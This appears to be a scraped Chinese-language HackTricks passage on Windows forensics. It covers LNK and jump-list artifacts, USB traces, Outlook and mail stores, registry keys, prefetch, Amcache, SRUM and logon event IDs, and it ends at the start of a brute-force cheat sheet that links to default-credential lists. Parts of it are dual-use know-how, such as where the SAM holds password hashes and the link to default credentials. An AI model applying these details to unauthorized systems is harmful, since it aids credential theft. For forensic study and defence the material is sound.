Shell 项目是包含有关如何访问另一个文件的信息的项目。

### 最近文档 (LNK)

当用户在以下位置**打开、使用或创建文件**时，Windows会**自动创建**这些**快捷方式**：

* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`

创建文件夹时，还会创建指向文件夹、父文件夹和祖父文件夹的链接。

这些自动创建的链接文件**包含有关源文件的信息**，例如它是**文件**还是**文件夹**，该文件的**MAC时间**，文件存储位置的**卷信息**和**目标文件夹**的信息。这些信息可用于在文件被删除时恢复这些文件。

此外，链接文件的**创建日期**是原始文件**首次使用的时间**，链接文件的**修改日期**是原始文件**最后使用的时间**。

您可以使用 [**LinkParser**](http://4discovery.com/our-tools/) 来检查这些文件。

在此工具中，您将找到**2组**时间戳：

* **第一组：**

1. 文件修改日期
2. 文件访问日期
3. 文件创建日期

* **第二组：**

1. 链接修改日期
2. 链接访问日期
3. 链接创建日期。

第一组时间戳引用**文件本身的时间戳**。第二组引用**链接文件的时间戳**。

您可以使用 Windows CLI 工具 [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) 获取相同的信息。

```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```

### 跳转列表

这些是每个应用程序指示的最近文件。这是您可以在每个应用程序上访问的**最近使用的文件列表**。它们可以**自动创建或自定义**。

自动创建的**跳转列表**存储在`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`中。跳转列表的命名遵循格式`{id}.autmaticDestinations-ms`，其中初始ID是应用程序的ID。

自定义跳转列表存储在`C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`中，通常是因为应用程序通常发生了**重要**事件（可能标记为收藏）。

任何跳转列表的**创建时间**表示**文件被访问的第一次时间**，**修改时间表示最后一次时间**。

您可以使用[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)检查跳转列表。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-fed36b16d40a4e46c6b8cd98c0ebc6c26daf9830%2Fimage%20\(474\).png?alt=media)

（*请注意，JumplistExplorer提供的时间戳与跳转列表文件本身相关*）

### Shellbags

[**点击此链接了解什么是shellbags。**](/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys#shellbags)

## 使用Windows USB设备

通过以下方式可以识别是否使用了USB设备：

* Windows最近文件夹
* Microsoft Office最近文件夹
* 跳转列表

请注意，有些LNK文件指向WPDNSE文件夹而不是原始路径：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-17d40aaabbcd4effebdca381040cfc8d939c6ffa%2Fimage%20\(476\).png?alt=media)

文件夹WPDNSE中的文件是原始文件的副本，因此在PC重新启动后不会保留，并且GUID是从shellbag中获取的。

### 注册表信息

[查看此页面以了解](/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys#usb-information)哪些注册表键包含有关连接的USB设备的有趣信息。

### setupapi

检查文件`C:\Windows\inf\setupapi.dev.log`以获取有关USB连接产生的时间戳（搜索`Section start`）。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-5ec5cf81ecc1a85a13ba0aca1c7fbe9318a28aad%2Fimage%20\(477\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(2\)%20\(3\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(14\).png?alt=media)

### USB Detective

[**USBDetective**](https://usbdetective.com)可用于获取连接到图像的USB设备的信息。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-50dda35adcced1775eb1fc53d0e8dfcb74c378cc%2Fimage%20\(483\).png?alt=media)

### 插拔清理

名为“插拔清理”的计划任务主要用于删除过时的驱动程序版本。与其指定的保留最新驱动程序包版本的目的相反，在线资源表明它还会针对在过去30天内未连接的驱动程序进行操作。因此，未连接在过去30天内的可移动设备的驱动程序可能会被删除。

该任务位于以下路径： `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。

提供了描述任务内容的屏幕截图： ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)

**任务的关键组件和设置：**

* **pnpclean.dll**：此DLL负责实际的清理过程。
* **UseUnifiedSchedulingEngine**：设置为`TRUE`，表示使用通用任务调度引擎。
* **MaintenanceSettings**：
* **Period（'P1M'）**：指示任务计划程序在常规自动维护期间每月启动清理任务。
* **Deadline（'P2M'）**：如果任务连续两个月失败，则指示任务计划程序在紧急自动维护期间执行任务。

此配置确保定期维护和清理驱动程序，并提供在连续失败的情况下重新尝试任务的规定。

**更多信息请查看：**[**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)

## 电子邮件

电子邮件包含**2个有趣的部分：邮件头和邮件内容**。在**邮件头**中，您可以找到以下信息：

* **谁**发送了电子邮件（电子邮件地址、IP、重定向电子邮件的邮件服务器）
* 电子邮件发送的**时间**

此外，在`References`和`In-Reply-To`头中，您可以找到消息的ID：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-0c29ac362d04909210f7e1bef7c935c9d80e9df2%2Fimage%20\(484\).png?alt=media)

### Windows邮件应用

此应用程序以HTML或文本格式保存电子邮件。您可以在`\Users\<username>\AppData\Local\Comms\Unistore\data\3\`的子文件夹中找到电子邮件。电子邮件以`.dat`扩展名保存。

电子邮件的**元数据**和**联系人**可以在**EDB数据库**中找到：`\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`

将文件的扩展名从`.vol`更改为`.edb`，然后您可以使用工具[ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html)打开它。在`Message`表中，您可以查看电子邮件。

### Microsoft Outlook

当使用Exchange服务器或Outlook客户端时，将会有一些MAPI头：

* `Mapi-Client-Submit-Time`：发送电子邮件时的系统时间
* `Mapi-Conversation-Index`：线程的子消息数量和每个线程消息的时间戳
* `Mapi-Entry-ID`：消息标识符。
* `Mappi-Message-Flags`和`Pr_last_Verb-Executed`：有关MAPI客户端的信息（消息已读？未读？已回复？重定向？离开办公室？）

在Microsoft Outlook客户端中，所有发送/接收的消息、联系人数据和日历数据都存储在以下PST文件中：

* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`（WinXP）
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`

注册表路径`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`指示正在使用的文件。

您可以使用工具[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)打开PST文件。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-a0f7f6ca1d4d6af5cf28d4cbf4c2159ebcdfd7c2%2Fimage%20\(485\).png?alt=media)

### Microsoft Outlook OST文件

当Microsoft Outlook配置为使用IMAP或Exchange服务器时，将生成一个**OST文件**，存储与PST文件类似的信息。此文件与服务器同步，保留**最近12个月**的数据，最大大小为**50GB**，位于与PST文件相同的目录中。要查看OST文件，可以使用[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)。

### 检索附件

丢失的附件可能可以从以下位置恢复：

* 对于**IE10**：`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
* 对于**IE11及更高版本**：`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`

### Thunderbird MBOX文件

**Thunderbird**使用**MBOX文件**存储数据，位于`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`。

### 图像缩略图

* **Windows XP和8-8.1**：访问带有缩略图的文件夹会生成一个`thumbs.db`文件，即使删除后仍会存储图像预览。
* **Windows 7/10**：通过UNC路径通过网络访问时会创建`thumbs.db`。
* **Windows Vista及更高版本**：缩略图预览集中在`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`中，文件名为**thumbcache\_xxx.db**。[**Thumbsviewer**](https://thumbsviewer.github.io)和[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)是查看这些文件的工具。

### Windows注册表信息

Windows注册表存储广泛的系统和用户活动数据，包含在以下文件中：

* `%windir%\System32\Config`用于各种`HKEY_LOCAL_MACHINE`子键。
* `%UserProfile%{User}\NTUSER.DAT`用于`HKEY_CURRENT_USER`。
* Windows Vista及更高版本在`%Windir%\System32\Config\RegBack\`中备份`HKEY_LOCAL_MACHINE`注册表文件。
* 此外，程序执行信息存储在自Windows Vista和Windows 2008 Server起的`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`中。

### 工具

一些工具可用于分析注册表文件：

* **注册表编辑器**：它已安装在Windows中。这是一个GUI，可用于浏览当前会话的Windows注册表。
* [**注册表浏览器**](https://ericzimmerman.github.io/#!index.md)：它允许您加载注册表文件并通过GUI浏览它们。它还包含突出显示具有有趣信息的键的书签。
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0)：同样，它具有GUI，允许浏览加载的注册表，并包含突出显示已加载注册表中有趣信息的插件。
* [**Windows注册表恢复**](https://www.mitec.cz/wrr.html)：另一个能够提取注册表中重要信息的GUI应用程序。

### 恢复已删除的元素

当键被删除时，它会被标记为已删除，但直到需要其占用的空间时才会被删除。因此，使用工具如**注册表浏览器**可以恢复这些已删除的键。

### 最后写入时间

每个键-值包含一个指示上次修改时间的**时间戳**。

### SAM

文件/注册表**SAM**包含系统的**用户、组和用户密码**哈希。

在`SAM\Domains\Account\Users`中，您可以获取用户名、RID、上次登录、上次登录失败、登录计数器、密码策略以及帐户创建时间。要获取**哈希值**，您还需要文件/注册表**SYSTEM**。

### Windows注册表中的有趣条目

{% content-ref url="/pages/RWD0KRM49oXsagWXsYWP" %}
[Interesting Windows Registry Keys](/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys)
{% endcontent-ref %}

## 执行的程序

### 基本Windows进程

在[此文章](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)中，您可以了解常见的Windows进程，以便检测可疑行为。

### Windows最近应用程序

在注册表`NTUSER.DAT`的路径`Software\Microsoft\Current Version\Search\RecentApps`中，您可以找到有关**执行的应用程序**、**上次执行时间**以及**启动次数**的信息。

### BAM（后台活动调节器）

您可以使用注册表编辑器打开`SYSTEM`文件，在路径`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`中，您可以找到有关**每个用户执行的应用程序**的信息（请注意路径中的`{SID}`），以及它们执行的**时间**（时间在注册表的数据值中）。

### Windows预取

预取是一种技术，允许计算机**静默获取显示内容所需的资源**，用户**可能在不久的将来访问**，以便更快地访问资源。

Windows预取包括创建**已执行程序的缓存**，以便能够更快地加载它们。这些缓存作为`.pf`文件创建在路径：`C:\Windows\Prefetch`中。在XP/VISTA/WIN7中限制为128个文件，在Win8/Win10中为1024个文件。

文件名创建为`{program_name}-{hash}.pf`（哈希基于可执行文件的路径和参数）。在W10中，这些文件是压缩的。请注意，文件的存在仅表示**程序曾被执行**。

文件`C:\Windows\Prefetch\Layout.ini`包含**预取文件夹的名称**。此文件包含有关**执行次数**、**执行日期**和程序打开的**文件**的信息。

要检查这些文件，您可以使用工具[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)。

```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-da4c2d8cc6adc99e67cb8c6de185785049baaf1d%2Fimage%20\(487\).png?alt=media)

### Superprefetch

**Superprefetch**的目标与prefetch相同，通过预测下一个要加载的内容来**加快程序加载速度**。但是，它并不取代prefetch服务。\
该服务会在`C:\Windows\Prefetch\Ag*.db`中生成数据库文件。

在这些数据库中，您可以找到**程序的名称**、**执行次数**、**打开的文件**、**访问的卷**、**完整路径**、**时间范围**和**时间戳**。

您可以使用工具[**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)访问这些信息。

### SRUM

**系统资源使用监视器**（SRUM）**监视**进程**消耗的资源**。它出现在W8中，并将数据存储在位于`C:\Windows\System32\sru\SRUDB.dat`的ESE数据库中。

它提供以下信息：

* AppID和路径
* 执行该进程的用户
* 发送字节
* 接收字节
* 网络接口
* 连接持续时间
* 进程持续时间

此信息每60分钟更新一次。

您可以使用工具[**srum\_dump**](https://github.com/MarkBaggett/srum-dump)从此文件中获取日期。

```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```

### AppCompatCache (ShimCache)

**AppCompatCache**，也被称为**ShimCache**，是**Microsoft**开发的**应用程序兼容性数据库**的一部分，用于解决应用程序兼容性问题。该系统组件记录了各种文件元数据，包括：

* 文件的完整路径
* 文件大小
* 最后修改时间（位于\*\*$Standard\_Information\*\* (SI)下）
* ShimCache的最后更新时间
* 进程执行标志

这些数据存储在注册表中的特定位置，取决于操作系统的版本：

* 对于XP，数据存储在`SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`下，容量为96个条目。
* 对于Server 2003以及Windows版本2008、2012、2016、7、8和10，存储路径为`SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`，分别容纳512和1024个条目。

要解析存储的信息，建议使用[**AppCompatCacheParser**工具](https://github.com/EricZimmerman/AppCompatCacheParser)。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-7d99c336ab785ddc0aaa3a2fa669a62839f28f69%2Fimage%20\(488\).png?alt=media)

### Amcache

**Amcache.hve**文件本质上是一个记录在系统上执行的应用程序详细信息的注册表文件。通常位于`C:\Windows\AppCompat\Programas\Amcache.hve`。

该文件存储了最近执行的进程的记录，包括可执行文件的路径和它们的SHA1哈希值。这些信息对于跟踪系统上应用程序的活动至关重要。

要提取和分析**Amcache.hve**中的数据，可以使用[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)工具。以下命令是使用AmcacheParser解析**Amcache.hve**文件内容并以CSV格式输出结果的示例：

```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```

### 最有趣的CSV文件是`Amcache_Unassociated file entries`，因为它提供了关于未关联文件条目的丰富信息。

### RecentFileCache

此工件仅可在W7中找到，位于`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`，其中包含有关某些二进制文件最近执行的信息。

您可以使用工具[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)来解析该文件。

### 计划任务

您可以从`C:\Windows\Tasks`或`C:\Windows\System32\Tasks`中提取它们，并将其读取为XML。

### 服务

您可以在注册表中的`SYSTEM\ControlSet001\Services`下找到它们。您可以查看将要执行的内容以及执行时间。

### **Windows商店**

安装的应用程序可以在`\ProgramData\Microsoft\Windows\AppRepository\`中找到\
此存储库中有一个**日志**，其中包含系统中安装的**每个应用程序**，存储在数据库\*\*`StateRepository-Machine.srd`\*\*中。

在此数据库的Application表中，可以找到列："Application ID"、"PackageNumber"和"Display Name"。这些列包含有关预安装和已安装应用程序的信息，并且可以查找是否卸载了某些应用程序，因为已安装应用程序的ID应该是连续的。

还可以在注册表路径`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`中**找到已安装的应用程序**\
以及在`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`中**找到卸载的应用程序**。

## Windows事件

Windows事件中显示的信息包括：

* 发生了什么
* 时间戳（UTC + 0）
* 涉及的用户
* 涉及的主机（主机名、IP）
* 访问的资产（文件、文件夹、打印机、服务）

日志位于Windows Vista之前的`C:\Windows\System32\config`中，在Windows Vista之后位于`C:\Windows\System32\winevt\Logs`中。在Windows Vista之前，事件日志以二进制格式存储，在Windows Vista之后，它们以**XML格式**存储，并使用\*\*.evtx\*\*扩展名。

事件文件的位置可以在SYSTEM注册表中的\*\*`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`\*\*中找到。

可以使用Windows事件查看器（**`eventvwr.msc`**）或其他工具如[**Event Log Explorer**](https://eventlogxp.com) **或** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**来查看这些事件**。

## 了解Windows安全事件日志记录

安全配置文件中记录的访问事件位于`C:\Windows\System32\winevt\Security.evtx`。此文件的大小可调整，当达到容量时，旧事件将被覆盖。记录的事件包括用户登录和注销、用户操作、安全设置更改，以及文件、文件夹和共享资产的访问。

### 用户身份验证的关键事件ID：

* **EventID 4624**：表示用户成功验证。
* **EventID 4625**：表示验证失败。
* **EventIDs 4634/4647**：代表用户注销事件。
* **EventID 4672**：表示使用管理员权限登录。

#### EventID 4634/4647中的子类型：

* **Interactive (2)**：直接用户登录。
* **Network (3)**：访问共享文件夹。
* **Batch (4)**：执行批处理过程。
* **Service (5)**：服务启动。
* **Proxy (6)**：代理身份验证。
* **Unlock (7)**：使用密码解锁屏幕。
* **Network Cleartext (8)**：明文密码传输，通常来自IIS。
* **New Credentials (9)**：使用不同凭据进行访问。
* **Remote Interactive (10)**：远程桌面或终端服务登录。
* **Cache Interactive (11)**：使用缓存凭据登录，无需与域控制器联系。
* **Cache Remote Interactive (12)**：使用缓存凭据远程登录。
* **Cached Unlock (13)**：使用缓存凭据解锁。

#### EventID 4625的状态和子状态代码：

* **0xC0000064**：用户名不存在 - 可能指示用户名枚举攻击。
* **0xC000006A**：正确的用户名但密码错误 - 可能是密码猜测或暴力破解尝试。
* **0xC0000234**：用户帐户被锁定 - 可能是多次登录失败导致的暴力破解攻击。
* **0xC0000072**：帐户已禁用 - 未经授权的尝试访问已禁用的帐户。
* **0xC000006F**：在允许的时间之外登录 - 表示尝试在设置的登录时间之外访问，可能是未经授权访问的迹象。
* **0xC0000070**：违反工作站限制 - 可能是尝试从未经授权的位置登录。
* **0xC0000193**：帐户过期 - 使用已过期用户帐户的访问尝试。
* **0xC0000071**：密码已过期 - 使用过时密码的登录尝试。
* **0xC0000133**：时间同步问题 - 客户端和服务器之间存在较大的时间差异，可能表明更复杂的攻击，如票据传递攻击。
* **0xC0000224**：需要强制更改密码 - 频繁的强制更改可能表明试图破坏帐户安全性。
* **0xC0000225**：表示系统错误而不是安全问题。
* **0xC000015b**：拒绝的登录类型 - 使用未经授权的登录类型进行访问尝试，例如用户尝试执行服务登录。

#### EventID 4616：

* **时间更改**：修改系统时间，可能混淆事件时间轴。

#### EventID 6005和6006：

* **系统启动和关闭**：EventID 6005表示系统启动，而EventID 6006表示系统关闭。

#### EventID 1102：

* **日志删除**：清除安全日志，通常是掩盖非法活动的红旗。

#### 用于USB设备跟踪的EventID：

* **20001 / 20003 / 10000**：USB设备首次连接。
* **10100**：USB驱动程序更新。
* **EventID 112**：USB设备插入时间。

有关模拟这些登录类型和凭据转储机会的实际示例，请参阅[Altered Security的详细指南](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)。

事件详细信息，包括状态和子状态代码，可进一步了解事件原因，特别是Event ID 4625中的内容。

### 恢复Windows事件

为增加恢复已删除Windows事件的机会，建议直接拔掉嫌疑计算机的电源以关闭它。推荐使用指定`.evtx`扩展名的恢复工具**Bulk\_extractor**来尝试恢复此类事件。

### 通过Windows事件识别常见攻击

有关使用Windows事件ID识别常见网络攻击的全面指南，请访问[Red Team Recipe](https://redteamrecipe.com/event-codes/)。

#### 暴力破解攻击

通过多个EventID 4625记录识别，如果攻击成功，则会跟随EventID 4624。

#### 时间更改

通过EventID 4616记录，系统时间的更改可能会使取证分析复杂化。

#### USB设备跟踪

用于USB设备跟踪的有用的系统EventID包括用于初始使用的20001/20003/10000，用于驱动程序更新的10100，以及来自DeviceSetupManager的插入时间戳的EventID 112。

#### 系统电源事件

EventID 6005表示系统启动，而EventID 6006表示系统关闭。

#### 日志删除

安全EventID 1102表示日志删除，这是取证分析的关键事件。


# Interesting Windows Registry Keys

### 有趣的Windows注册表键

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### **Windows版本和所有者信息**

* 位于\*\*`Software\Microsoft\Windows NT\CurrentVersion`\*\*，您将找到Windows版本、服务包、安装时间以及注册所有者的名称。

### **计算机名称**

* 主机名位于\*\*`System\ControlSet001\Control\ComputerName\ComputerName`\*\*。

### **时区设置**

* 系统的时区存储在\*\*`System\ControlSet001\Control\TimeZoneInformation`\*\*中。

### **访问时间跟踪**

* 默认情况下，最后访问时间跟踪被关闭（**`NtfsDisableLastAccessUpdate=1`**）。要启用它，请使用： `fsutil behavior set disablelastaccess 0`

### Windows版本和服务包

* **Windows版本**指示版本（例如，家庭版、专业版）及其发布（例如，Windows 10、Windows 11），而**服务包**是包含修复和有时新功能的更新。

### 启用最后访问时间

* 启用最后访问时间跟踪允许您查看文件上次打开的时间，这对于取证分析或系统监控至关重要。

### 网络信息详细信息

* 注册表中保存了大量关于网络配置的数据，包括**网络类型（无线、有线、3G）和网络类别（公共、私人/家庭、域/工作）**，这对于了解网络安全设置和权限至关重要。

### 客户端端缓存（CSC）

* **CSC**通过缓存共享文件的副本来增强离线文件访问。不同的**CSCFlags**设置控制着如何以及哪些文件被缓存，影响性能和用户体验，特别是在网络连接不稳定的环境中。

### 自启动程序

* 在各种`Run`和`RunOnce`注册表键中列出的程序会在启动时自动运行，影响系统启动时间，并有可能成为识别恶意软件或不需要的软件的关注点。

### Shellbags

* **Shellbags**不仅存储文件夹视图的偏好设置，还提供了对文件夹访问的取证证据，即使文件夹已经不存在。它们对于调查非常宝贵，揭示了通过其他方式不明显的用户活动。

### USB信息和取证

* 注册表中存储的有关USB设备的详细信息可以帮助跟踪连接到计算机的设备，可能将设备与敏感文件传输或未经授权访问事件联系起来。

### 卷序列号

* **卷序列号**对于跟踪特定文件系统实例至关重要，在需要在不同设备之间建立文件来源的取证场景中非常有用。

### **关机详细信息**

* 关机时间和计数（仅适用于XP）保存在\*\*`System\ControlSet001\Control\Windows`**和**`System\ControlSet001\Control\Watchdog\Display`\*\*中。

### **网络配置**

* 有关详细网络接口信息，请参考\*\*`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`\*\*。
* 首次和最后一次网络连接时间，包括VPN连接，在\*\*`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`\*\*的各个路径下记录。

### **共享文件夹**

* 共享文件夹和设置位于\*\*`System\ControlSet001\Services\lanmanserver\Shares`\*\*。客户端端缓存（CSC）设置决定了离线文件的可用性。

### **自动启动的程序**

* 类似\*\*`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`\*\*和`Software\Microsoft\Windows\CurrentVersion`下的条目详细说明了设置为在启动时运行的程序。

### **搜索和键入路径**

* 在注册表中，\*\*`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`\*\*下跟踪了资源管理器搜索和键入的路径，分别为WordwheelQuery和TypedPaths。

### **最近文档和Office文件**

* 访问的最近文档和Office文件记录在`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`和特定Office版本路径中。

### **最近使用的（MRU）项目**

* MRU列表，指示最近的文件路径和命令，存储在`NTUSER.DAT`的各个`ComDlg32`和`Explorer`子键中。

### **用户活动跟踪**

* 用户助手功能记录了详细的应用程序使用统计信息，包括运行次数和最后运行时间，位于\*\*`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`\*\*。

### **Shellbags分析**

* 存储着文件夹访问详细信息的Shellbags存储在`USRCLASS.DAT`和`NTUSER.DAT`的`Software\Microsoft\Windows\Shell`下。使用\*\*[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)\*\*进行分析。

### **USB设备历史**

* \*\*`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`**和**`HKLM\SYSTEM\ControlSet001\Enum\USB`\*\*包含有关连接的USB设备的丰富详细信息，包括制造商、产品名称和连接时间戳。
* 可通过搜索`NTUSER.DAT`中的设备的\*\*{GUID}\*\*来确定与特定USB设备关联的用户。
* 可通过`System\MountedDevices`和`Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`分别追踪最后安装的设备及其卷序列号。

本指南总结了访问Windows系统上详细系统、网络和用户活动信息的关键路径和方法，旨在清晰易用。

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Brute Force - CheatSheet

## 暴力破解 - 速查表

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(45).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 来轻松构建和 **自动化工作流程**，使用世界上 **最先进** 的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

### 默认凭证

在谷歌中搜索正在使用的技术的默认凭证，或者尝试以下链接：

* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
